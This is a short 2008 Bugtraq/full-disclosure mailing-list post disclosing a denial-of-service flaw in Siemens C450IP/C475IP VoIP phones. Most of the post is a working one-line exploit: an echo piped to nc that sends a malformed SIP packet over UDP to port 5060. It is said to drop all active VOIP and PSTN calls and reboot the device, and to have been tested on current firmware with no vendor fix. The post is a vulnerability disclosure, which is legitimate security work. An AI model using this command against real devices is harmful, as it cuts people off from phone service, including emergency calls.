bugtraq - Siemens C450IP/C475IP DoS

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Date: Mon, 24 Nov 2008 22:21:56 +0100
From: Martin Kluge <mk@...si.de>
To: full-disclosure@...ts.grok.org.uk
Cc: Bugtraq <bugtraq@...urityfocus.com>, support.gigaset@...mens.com
Subject: Siemens C450IP/C475IP DoS

Hi,

echo -e "X sip:s X\nFrom:<sip:@x>\nTo:<sip:@x>\n" | nc -q0 -u <target> 5060

Will disconnect all current VOIP and PSTN calls and reboot
the C450IP/C475IP devices.

Tested with current firmwares.

Vendor (Siemens) was contacted 11/2007, no fix supplied yet.

Have phun!

sky & Any